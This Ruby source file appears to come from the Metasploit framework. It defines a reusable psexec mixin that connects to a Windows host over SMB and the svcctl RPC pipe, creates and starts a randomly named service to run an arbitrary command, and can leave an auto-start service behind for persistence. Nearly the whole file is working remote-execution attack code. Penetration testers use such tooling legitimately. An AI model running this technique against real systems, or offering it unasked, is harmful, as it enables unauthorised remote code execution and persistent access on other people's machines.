# -*- coding: binary -*-
require 'rex/proto/dcerpc/svcctl'
require 'windows_error'
require 'windows_error/win32'

include WindowsError::Win32

module Msf

####
# Allows for reuse of the psexec code execution technique
#
# This code was stolen straight out of the psexec module. Thanks very
# much for all who contributed to that module!! Instead of uploading
# and running a binary.
####

module Exploit::Remote::SMB::Client::Psexec

  include Msf::Exploit::Windows_Constants
  include Msf::Exploit::Remote::DCERPC
  include Msf::Exploit::Remote::SMB::Client::Authenticated

  def initialize(info = {})
    super
    register_options(
      [
        OptString.new('SERVICE_NAME', [ false, 'The service name', nil]),
        OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
        OptString.new('SERVICE_DESCRIPTION', [false, "Service description to to be used on target for pretty listing",nil])
      ], self.class)

    register_advanced_options(
      [
        OptBool.new('SERVICE_PERSIST', [ true, 'Create an Auto run service and do not remove it.', false])
      ], self.class)
  end

  # Retrieve the SERVICE_NAME option, generate a random
  # one if not already set.
  #
  # @return [String] service_name the name of the service.
  def service_name
    @service_name ||= datastore['SERVICE_NAME']
    @service_name ||= Rex::Text.rand_text_alpha(8)
  end

  # Retrieve the SERVICE_DISPLAY_NAME option, generate a random
  # one if not already set.
  #
  # @return [String] the display name of the service.
  def display_name
    @display_name ||= datastore['SERVICE_DISPLAY_NAME']
    @display_name ||= Rex::Text.rand_text_alpha(16)
  end

  # Retrieve the SERVICE_DESCRIPTION option
  #
  # @return [String] the service description.
  def service_description
    @service_description ||= datastore['SERVICE_DESCRIPTION']
  end

  # Retrives output from the executed command
  #
  # @param smbshare [String] The SMBshare to connect to.  Usually C$
  # @param host [String] Remote host to connect to, as an IP address or
  #   hostname
  # @param file [String] Path to the output file relative to the smbshare
  #   Example: '\WINDOWS\Temp\outputfile.txt'
  # @return [String,nil] output or nil on failure
  def smb_read_file(smbshare, host, file)
    begin
      simple.connect("\\\\#{host}\\#{smbshare}")
      file = simple.open(file, 'ro')
      contents = file.read
      file.close
      simple.disconnect("\\\\#{host}\\#{smbshare}")
      return contents
    rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
      print_error("Unable to read file #{file}. #{e.class}: #{e}.")
      return nil
    end
  end

  # Executes a single windows command.
  #
  # If you want to retrieve the output of your command you'll have to
  # echo it to a .txt file and then use the {#smb_read_file} method to
  # retrieve it.  Make sure to remove the files manually or use
  # {Exploit::FileDropper#register_files_for_cleanup} to have the
  # {Exploit::FileDropper#cleanup} and
  # {Exploit::FileDropper#on_new_session} handlers do it for you.
  #
  # @param command [String] Should be a valid windows command
  # @param disconnect [Boolean] Disconnect afterwards
  # @return [Boolean] Whether everything went well
  def psexec(command, disconnect=true)
    simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
    handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
    vprint_status("Binding to #{handle} ...")
    dcerpc_bind(handle)
    vprint_status("Bound to #{handle} ...")
    vprint_status("Obtaining a service manager handle...")

    svc_client = Rex::Proto::DCERPC::SVCCTL::Client.new(dcerpc)
    scm_handle, scm_status = svc_client.openscmanagerw(datastore['RHOST'])

    if scm_status == ERROR_ACCESS_DENIED
      print_error("ERROR_ACCESS_DENIED opening the Service Manager")
    end

    return false unless scm_handle

    if datastore['SERVICE_PERSIST']
      opts = { :start => SERVICE_AUTO_START }
    else
      opts = {}
    end

    vprint_status("Creating the service...")
    svc_handle, svc_status = svc_client.createservicew(scm_handle, service_name, display_name, command, opts)

    case svc_status
    when ERROR_SUCCESS
      vprint_good("Successfully created the service")
    when ERROR_SERVICE_EXISTS
      service_exists = true
      print_warning("Service already exists, opening a handle...")
      svc_handle = svc_client.openservicew(scm_handle, service_name)
    when ERROR_ACCESS_DENIED
      print_error("Unable to create service, ACCESS_DENIED, did AV gobble your binary?")
      return false
    else
      print_error("Failed to create service, ERROR_CODE: #{svc_status}")
      return false
    end

    if svc_handle.nil?
      print_error("No service handle retrieved")
      return false
    else

      if service_description
        vprint_status("Changing service description...")
        svc_client.changeservicedescription(svc_handle, service_description)
      end

      vprint_status("Starting the service...")
      begin
        svc_status = svc_client.startservice(svc_handle)
        case svc_status
        when ERROR_SUCCESS
          print_good("Service started successfully...")
        when ERROR_FILE_NOT_FOUND
          print_error("Service failed to start - FILE_NOT_FOUND")
        when ERROR_ACCESS_DENIED
          print_error("Service failed to start - ACCESS_DENIED")
        when ERROR_SERVICE_REQUEST_TIMEOUT
          print_good("Service start timed out, OK if running a command or non-service executable...")
        else
          print_error("Service failed to start, ERROR_CODE: #{svc_status}")
        end
      ensure
        begin
          # If service already exists don't delete it!
          # Maybe we could have a force cleanup option..?
          if service_exists
            print_warning("Not removing service as it already existed...")
          elsif datastore['SERVICE_PERSIST']
            print_warning("Not removing service for persistence...")
          else
            vprint_status("Removing the service...")
            svc_status = svc_client.deleteservice(svc_handle)
            if svc_status == ERROR_SUCCESS
              vprint_good("Successfully removed the service")
            else
              print_error("Unable to remove the service, ERROR_CODE: #{svc_status}")
            end
          end
        ensure
          vprint_status("Closing service handle...")
          svc_client.closehandle(svc_handle)
        end
      end
    end

    if disconnect
      sleep(1)
      simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
    end

    true
  end

end

end
